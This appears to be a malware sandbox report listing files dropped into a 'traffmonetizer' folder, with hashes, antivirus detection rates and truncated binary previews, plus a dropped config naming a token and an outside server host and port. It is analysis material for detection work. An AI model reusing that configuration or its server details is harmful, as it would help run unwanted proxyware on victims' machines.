SHA-512:	ADA80A9F97BEC76899ECCC40C646387A067A201663D4D0F4537AF450EA7C92DF877F017862634E32E9E2BA08CA6D41806DC03F0DFD7F811CA303B56B1AC17D92
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 65% Antivirus: Virustotal, Detection: 61%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..........$"...........2/..H.......E........Y...@..........................`......;....@..................................0..........................+...@........................................................Y..............................text....0/......2/................. ..`.rdata..@v..P/..x..6/.............@..@.data....J....Y..H....Y.............@.../4......'.... c......._.............@..B/19....._n...0c..p...._.............@..B/32......c....k..d...hh.............@..B/46.....*.....m.......i.............@..B/65.....M.... m.......i.............@..B/78..........0\|.......x.............@..B/90.....`Y......Z...n..............@..B.idata.......0.....................@....reloc.......@.....................@..B.symtab......`........................B........................................................................................................

C:\Windows\Microsoft.NET\root_conf\default.toml

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	390
Entropy (8bit):	4.918545563326669
Encrypted:	false
SSDEEP:	12:L59QimSldBAsqDoCXJ8gQQd06zHEUoP0/AEDx2ATvXmY+:t9hmSDBAsqDqVQSbzP/EDEATvXv+
MD5:	9E3D810A244768218AF8FC0499BD5DD7
SHA1:	660CB236BAF95C83E0ACD64E3F607FBEB199A1E0
SHA-256:	E864D44EC86EAA38112C3BFCFC21B078CC59E11F984C0441989E8606197357E2
SHA-512:	8F9AC0DEDE89A68202EB858CDA086727EBBBA3FDFB4FA43CE2D52CDD5E69C89F66A171FAE371CA29B4D65DC04862CBCB71E58BE48E8DCC520E1DB3B27A093F2B
Malicious:	false
Reputation:	unknown
Preview:	token = 'psxmljlfsqkrqmooa9763ca046a3bf9d'.tracking_id = ''.#.os_type = 'windows'.os_name = 'os_name' .os_version = 'os_version' .product = 'product' ..[package].package_id = 63.package_version = '0.0.300'..[build].mode = 'release' #debug..[log].log_to_file = false.log_dir = "logs".print_logo = true.level = 'INFO'..[server].host = 'gtxvdqvuweqs.com'.port = 5060..[satellite].port = 36060.

C:\Windows\Microsoft.NET\traffmonetizer\Base.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	108672
Entropy (8bit):	6.069332930108557
Encrypted:	false
SSDEEP:	1536:KX+nV0+enLI1YfWRVZgzjwegXJCoKe5zPcTISUNLLqcxW0r/2Wn6IFpRyKM:YqQICQBzJCoKeyrUNL7xVr/2C6ojA
MD5:	C3935313BBF380CD8D3CB336A5E3C8E8
SHA1:	C09F0B894EE5A6A59DEA194E94B42FFF29B53F38
SHA-256:	4D0409C6DB0B0AF97F5FC57EBE2248C1632AEB836A5EA1EEAAD64F57A4EB662B
SHA-512:	6525F98811CB277FBAE75E278FCA7997C6A6993B3F3F163A3C98DA85055305D7A61917981625F113C448B8A397D3C5A143DB2C8B131E5E4395205E34DC7C48A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b........... .....n............... ........@.. ....................................`.................................4...W....................v...2........................................................... ............... ..H............text....m... ...n.................. ..`.rsrc................p..............@..@.reloc...............t..............@..B................p.......H...........D...............8...........................................z.(......}.....(....o....}.........0...........{......E............8...Z...u..................}..... (`.3}......}.......}..... ....}......}.......}......{.... .da}......}.......}..... ..R.}......}.......}......{.... ..b.a}......}.......}..... Q+.n}......}.......}..... 6..t}......}.......}........{.....s....z.2.{.....0...*....0..<........{......3..{....(....o....3...}......+..s.......{....}..

C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20872
Entropy (8bit):	6.448532891103289
Encrypted:	false
SSDEEP:	384:69P2wZOXm7YJVHTe+0VJI0vrdaVemxO/f7vWeq/WIdHRN7bg30uw7lGsV9W+:u2zmYrHCV9cIL6TbtCSW
MD5:	1EE251645B8A54A116D6D06C83A2BD85
SHA1:	5DBF1534FFBFF016CC45559EB5EFF3DC4252A522
SHA-256:	075CE79E84041137C78885B3738C1B5A03547D0AE2A79916E844196A9D0EC1DB
SHA-512:	9F67FD0566EAC2DA4253D08697DAAB427E4E85780615D940F086A88424DCBB0563ABAE7E4824088E64EF7024C1BB3BBF324F2D07BC7BA55F79E4AF3C9EA88E97
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....d..........." ..0..$...........C... ...`....... ....................................`.................................oC..O....`...................#..........\|B..T............................................ ............... ..H............text....#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc...............,..............@..B.................C......H.......4&.......................A........................................(......(.....0....................(....}.....6.\|.....(...+:.\|......(...+:.\|......(...+2.\|....(......{....%-.&.\|....s.....(....%-.&.{...."..(....>..}......}......0...........{....o........{....(....Z..}......}......}....N.{......{....s....N.{.....{.....s....v.{.....{....o ....{....s!.....(...."..s.....0.....................s"...&...s".....{#..."..}#...*.0..F.........{$....Xh}$.....}%.

C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.NETCore.Client.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	62840
Entropy (8bit):	6.215415444225501
Encrypted:	false
SSDEEP:	768:N96JW7DoYna6RYAtVN0x05uetEHfPzmlXg7UI7QjK4+B4tJIgst6SVdQQvx24DvE:iALax05SylVqQj9Ig4CSvE
MD5:	D8575DFAAE8ED7D421CDF01C8CF5D867
SHA1:	FF1C551150FED59F4C972ACF88746C08EAB7698F
SHA-256:	C8B9C8E7032A7A4EC4BC2EE68824F20E114CB5FD9002C3DCB58AE98B77C47DD8
SHA-512:	ABE335BB72182DAAEF65EF4EB428E879ACA9F4C8A19A4BFE5619E2D51069767E5D03BC3492B30DDA8A37606EFFA993057D3B3C2120DFB72AA92B468741DD9D71
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....{8..........." ..0.............~.... ........... .......................@......50....`.................................)...O.......<...............x#... ...... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...<...........................@..@.reloc....... ......................@..B................].......H.......TZ..L.............................................................( .....( ....0..A........-.r...ps!...z..-..+..o"....Xo#....,..($....r...p(%...o&...o'...6..ss...(....:.((.....}....6.{.....of...6.{.....og...>.{.......s%...b.{..........%.....s%.....0...........()...,.r...ps!...z...(........sK.....{.....(;.....oN...{;.......,I.. ....3A.oL....(..... ....3.r3..p(+...(%...s....zrq..p..^...(,...s....z*r...ps....z.0...........~-...(....,.r9..ps/...z.()...,.r}..ps/.

C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	502136
Entropy (8bit):	6.137252537752353
Encrypted:	false
SSDEEP:	6144:Arimdx/KcwESYmv0aAAPJ1YFChXkXHQNAD66Vxl3KX/5PoFb4p+X8p:CFFGBhcLXHQNAG6VK5oX8p
MD5:	5DFB71A97B10D00DEA71F443FDFD732F
SHA1:	C7D9B0F37BF40A4677E243A4D16454F3475853A2
SHA-256:	D9ECB8CD1AC822A14E65F7C7F5F3FCB262FA23FB7C721A59321BDB467BCBAD14
SHA-512:	8E84B1D442E11A5B6C16EFE0CD44BC0F27BFD141A7B812CE2E32B3CC0697D8F9B2155BB60EE48934B4A907C2ABD181BDCAFA5D7BF4AC4DEC91120733428D6EBA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....y]..........." ..0..z............... ........... ..............................Z&....`.................................[...O.......................x#..........T...T............................................ ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H........]...9...........................................................{R.....{S...V.(T.....}R.....}S......0..A........u1.......4.,/(U....{R....{R...oV...,.(W....{S....{S...oX...... l.p. )UU.Z(U....{R...oY...X )UU.Z(W....{S...oZ...X...0..b........r...p......%..{R......%q4....4...-.&.+...4...o[....%..{S......%q5....5...-.&.+...5...o[....(\.....{].....{^...V.(T.....}].....}^....0..A........u6.......4.,/(U....{]....{]...oV...,.(W....{^....{^...oX...... Nm.+ )UU.

C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Win32.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21216
Entropy (8bit):	6.900655456226697
Encrypted:	false
SSDEEP:	384:/N9VWhX3WsQBm0GftpBjvmaQHRN7YlgaGn7rJd0:1GmViYL0Gff0
MD5:	76B8D417C2F6416FA81EACC45977CEA2
SHA1:	7B249C6390DFC90EF33F9A697174E363080091EF
SHA-256:	5EAA2E82A26B0B302280D08F54DC9DA25165DD0E286BE52440A271285D63F695
SHA-512:	3B510CDC45C94BE383C91687C2CB01A501BA34E3FBB66346214FC576D6F0E63C77D1D09C6419FC907F5B083387A7046C0670377AD2E00C3EC2E731275739F9C7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............(... ...@....... ....................................@.................................T(..O....@..0................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l...\|...#~......<...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.7...K.W...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.AppContext.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21176
Entropy (8bit):	6.887075475210058
Encrypted:	false
SSDEEP:	384:uDNxWQFW5+109m0GftpBj9yaQHRN7SAl78oSwDnu/L:uDNV+Vi+LSyaw6L
MD5:	8CC4C7DFEB41B6C227488CE52D1A8E74
SHA1:	93702135DB0646B893BABE030BD8DC15549FF0C2
SHA-256:	9DC115AC4AADD6A94D87C7A8A3F61803CC25A3D73501D7534867DF6B0D8A0D39
SHA-512:	E4DA7E3AE5CA31E566EA0475E83D69D998253FB6D689970703A5AD354A2AAD1BB78D49A2C038F0A3C84A188D091696191B04E4A39253DEB3B6CB310B72F02F97
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0.............f(... ...@....... ..............................ZY....@..................................(..O....@...................>...`.......&............................................... ............... ..H............text...l.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................H(......H.......P ......................\&......................................BSJB............v4.0.30319......l...\|...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.....K.N...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Buffers.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20856
Entropy (8bit):	6.425485073687783
Encrypted:	false
SSDEEP:	384:/rMdp9yXOfPfAxR5zwWvYW8a2cyHRN7vCvlbLg:/rMcXP6N6e
MD5:	ECDFE8EDE869D2CCC6BF99981EA96400
SHA1:	2F410A0396BC148ED533AD49B6415FB58DD4D641
SHA-256:	ACCCCFBE45D9F08FFEED9916E37B33E98C65BE012CFFF6E7FA7B67210CE1FEFB
SHA-512:	5FC7FEE5C25CB2EEE19737068968E00A00961C257271B420F594E5A0DA0559502D04EE6BA2D8D2AAD77F3769622F6743A5EE8DAE23F8F993F33FB09ED8DB2741
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0..$..........BC... ...`....... ....................................@..................................B..O....`..@...............x#...........A............................................... ............... ..H............text...H#... ...$.................. ..`.rsrc...@....`.......&..............@..@.reloc...............,..............@..B................$C......H........'...............?..X...8A......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(.....~....2r...p.(....B.....(.........R.....(...+%-.&(!...^.....("....(...+&~.....s$..."..s%.....(&........0......................

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Concurrent.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.941945190587086
Encrypted:	false
SSDEEP:	384:Jm2igOWnW8rWwvT1Dm0GftpBjVjaQHRN70lxBGDD:5t/1DVinjLSMD
MD5:	559C98EB9633C7BA1BC813F8E6E0E9A5
SHA1:	311F52B31611E6DC5FD4C0159BFA452C22980CA7
SHA-256:	CC62F3B867D50083C2932061F20662C698D2E1A741C4D2F9DF1FD2D435E3EF3C
SHA-512:	E241C16869D1CDBB2C6482A7C5B2AF93DE4BA0CEF8185B8826EEE35ECB174F35F7585C8AE0320F7F4F6B80F3BB5B3EDAE2383760F2F35637F03C3A0E38E0875C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ..............................X.....@.................................t)..O....@..D................>...`......<(............................................... ............... ..H............text........ ...................... ..`.rsrc...D....@......................@..@.reloc.......`......................@..B.................)......H.......P ..l....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3................................................n.o.....o.....\...........8...3.8...P.8.....8.....8.....8.....8.....8.....1.....8.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	189312
Entropy (8bit):	6.149301406867268
Encrypted:	false
SSDEEP:	3072:MHutEkGE0frJeOAY1tn/DuunP0F9QFg3QuxvkaHFckod:eu501WY9/DuOP0F9QFgwkm
MD5:	C598080FA777D6E63DFD0370E97EC8F3
SHA1:	9D1236DCFB3CAA07278A6D4EC751798D67D73CC2
SHA-256:	646D3B52A4898078F46534727BDB06FF23B72523441458B9F49ECC315BF3EF5C
SHA-512:	8A5B4AFB4363732008C97D53F13EE430401E4A17677AF37123DA035F15F9E9409A2AEB74AE238379291FD5DE07C3CD4E3DE2778DA5EDF83A42649FA5B281CB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\|..........." ..0.............v.... ........... ....................... ...... f....`.................................!...O........................#..........0...T............................................ ............... ..H............text...\|.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................U.......H...........\|...........p...@.............................................(......(....^.(.......W...%...}....:.(......}....:.(......}....:.(......}.....~.....0..1.......(....,..%-.&...(.....o.......&...,...o....,.......................(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(......,&(....,..r...pr...p.(....(......(......(....,.r...p......%...%...(.......(....*.(....,.r...

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.NonGeneric.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.939816403058967
Encrypted:	false
SSDEEP:	384:2napn1iwwPWcGWNhvT1Dm0GftpBj/aQHRN7oIBldBoQAY0GP:lDuF91DVi1LoIzoJYR
MD5:	45FF71114047DBF934C90E17677FA994
SHA1:	526C688E71A7D7410007AD5AA6EA8B83CACE76C5
SHA-256:	529943C0CDF24F57E94BF03FAC5F40B94A638625027A02DF79E1E8CB5D9BC696
SHA-512:	29684AC5391268EAA276196A6249364F6D23ABFE59BDC304A561CF326CEA6CD662FA04C05E15924FD6D3F9E9D1607992B8DCAD3F817CFE891580F9D9462FE9B7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ...............................>....@.................................p)..O....@..@................>...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..t.......#Strings....<.......#US.@.......#GUID...P.......#Blob......................3................................................F.o.....o.....\...........,.....,...(.,.....,...f.,.....,.....,.....,.....%.....,.................V.....V.....V...).V...1.V...9.V...A.V...I.V...Q.V...Y.V...a.V...i.V...q.V.......................#.....+.....3.....;.....C.:...K.Z...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Specialized.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.942827969586567
Encrypted:	false
SSDEEP:	384:2ZHLaEav5aaUa6arWVLWOvT1Dm0GftpBjq1xFaQHRN71mldBoQAYu:rPv5t/NOF1DViQ1xFLcoJYu
MD5:	B52C339601CB264F83DF72D802E98687
SHA1:	8BBB7BADAAA912C1F17775E9ACDCAB389704C772
SHA-256:	938DA38561DA54793944E95E94B6E11CF83AACD667487297D428FBCE1C06DC9C
SHA-512:	287F08AB07827570F9F3EF48A6D7E5C186899A2704FB3DBAF36975F6BE7B29FB6695A69FAB85A6F09BDDEFB60C79052C3A33CF862651F892EB9D773D880B3AF8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0..............)... ...@....... ....................................@..................................)..O....@..P................>...`......P(............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..........#Strings....T.......#US.X.......#GUID...h.......#Blob......................3..................................................`.....`...t.M.................................=.....V.................q.....Z...................G.....G.....G...).G...1.G...9.G...A.G...I.G...Q.G...Y.G...a.G...i.G...q.G.......................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.848992181946284
Encrypted:	false
SSDEEP:	384:h6iIJq56dOuWSKeWkvT1Dm0GftpBj0RaQHRN7T7lxBGDto:viAw1DViKRLTxMi
MD5:	1D8AAFECA1EA565B257384D3F64864B0
SHA1:	4D923B100142AFA2E0A8B7ACDB3A6DE6FEB91148
SHA-256:	C2250E9E51B44D8AB8C5B892592766925F6580EE00B95026621D0AFB037C2707
SHA-512:	99E4A226E1FABB348E7EF7C6FA56AD0CE4E4CF5D8569CE21881703DCA8D83A1C113FD5F440A4FC9E9B99A04AE8CF4490E17D62FFC09CFAC5A45678A4419EFDBB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?..Y.........." ..0................. ...@....... ..............................J.....@....................................O....@...................>...`......L)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.......................H.......P ..\|....................(......................................BSJB............v4.0.30319......l.......#~..\|.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3................................................k.~.....~.....k..............0....M...............................#..........x...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C./...K.O...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.EventBasedAsync.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21768
Entropy (8bit):	6.880530414500754
Encrypted:	false
SSDEEP:	384:/nzz+MpSaLWW0+WNC7Bm0GftpBjsY1xaDaQHRN7RlTZVkRzQ:npuAViVxaDLHZV+Q
MD5:	6067ECBAB3C6DDDB6BF7C49C7948CAA8
SHA1:	5F3DA777AF01DBC159BD8D9D97D5DC105918AFC5
SHA-256:	22108E32E0B6E42F5F52A4CB17B9B6FA3DFD547ECD9EEF9C67226DBEC54D23E5
SHA-512:	9F3E834B8342E0C7AA5CCC993B520D664B03F1F0091066C66067923E1D4991EFA03F63908552538C05F423AA2B696DE7C76993F71A7564F3E87662CB0FC00726
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............B... ...@....... ....................................@..................................)..O....@...................?...`.......(............................................... ............... ..H............text...H.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................$......H.......P ......................8(......................................BSJB............v4.0.30319......l.......#~..t...@...#Strings............#US.........#GUID....... ...#Blob......................3............................................................V...........j.................i...........8.................S.....<...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.'...C.B...K.b...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21752
Entropy (8bit):	6.916008128976572
Encrypted:	false
SSDEEP:	384:fGhr+YUfyHxsW/HWiC7Bm0GftpBjoEKaQHRN7VlO62gHcXn2d:MkmyViaLEg832d
MD5:	2F39655CCFC010E32A7240D9BF5D0852
SHA1:	20AEAED12DFB8D71E39687350EB12BC0DE372AF0
SHA-256:	BFCD867F71C887429DFE008D7EC5D1853D15B3932D4CE8991694293477B5BE37
SHA-512:	9769E59279A32F29C2F2C6970C81D3ED76FE3421B819DDFFC8FA98329F1B45300C737FDF71956672F80F69B3A75727D184F8C421E00B84E94163A86CB744A991
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............+... ...@....... ...................................@.................................<+..O....@..`................>...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...`....@......................@..@.reloc.......`......................@..B................p+......H.......P ..4....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob......................3................................................Y.]...{.]...6.J...}.....r........... .............................................................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;."...C.=...K.]...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.TypeConverter.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22784
Entropy (8bit):	6.859096700065679
Encrypted:	false
SSDEEP:	384:BRE+ruiA5vzWeNWnvT1Dm0GftpBj94aQHRN7N+ql78oSwDnuQM:BS9bW1DVib4L5awfM
MD5:	D1699287934DA769FC31E07F80762511
SHA1:	BFE2384A92B385665689AD5A72F23ABC8C022D82
SHA-256:	0DBB92ECD5DFA7FC258BC6DEED4CECF1B37F895457FD06976496926ABDB317BB
SHA-512:	4FEF3E1535F546FFDDE0683F32A069BEEFFE89096524C7068F1F5CE8377824F82AE530D3990C9DD51BCCAA9E53FDED5613FA1174013325808059276DEE771187
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0............../... ...@....... ..............................:.....@................................../..O....@..p................?...`......T................................................ ............... ..H............text........ ...................... ..`.rsrc...p....@......................@..@.reloc.......`......................@..B................./......H.......P .......................-......................................BSJB............v4.0.30319......l.......#~......@...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3................................;.....Y.........8...........<...........P.......................X.....q.....g................."...................I.....I.....I...).I...1.I...9.I...A.I...I.I...Q.I...Y.I...a.I...i.I...q.I.......................#.....+.....3.....;.%...C.@...K.`...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.ComponentModel.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.910097922783346
Encrypted:	false
SSDEEP:	384:HT+6ywnVvW0LWqvT1Dm0GftpBj+XaQHRN7qn0lTZVk0N:H9911DViYLqeZVdN
MD5:	632CC8AD69B76FD9BB5847DE1E1439F7
SHA1:	2E32D50EC33EC6635681485B754F4E58D434A5EE
SHA-256:	5E61D755616CB10524F5F31E9B70C65A7FFF8E30E25CE711AC8B354D657AB479
SHA-512:	9BA5CC82573308E5D995BA05BC660FC1C087EB91D8BD7EFCA6FF838A3C47BD6118D9C92919B2E0DAC11A5A27977318C5C819499DC19CD5D6E57122A0749858C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@..................................(..O....@...................>...`......\|'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...h...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0.....7.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Console.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21160
Entropy (8bit):	6.908265030965905
Encrypted:	false
SSDEEP:	384:iRbzriaXT+WlEWLC7Bm0GftpBjXUNZiTaQHRN7hldBoQAYv8:A7icYVisiTLToJYU
MD5:	EA9376C17EE0148F0503028AD4501A92
SHA1:	9D5686CBF45E90DF5E11D87E7B90173A1A64B1A0
SHA-256:	B537313413F80105F143CC144FEEAE2AC93F44747727DE309A71D57D2650034A
SHA-512:	18D1BB2D5C469644078D75766DBF04ADDF7D0C543F7ED15FF522CEEAEF960900DD8EC68172F5D684B76B0AA6946BB38D641F021EC04C70AD66A6062C10412E0A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
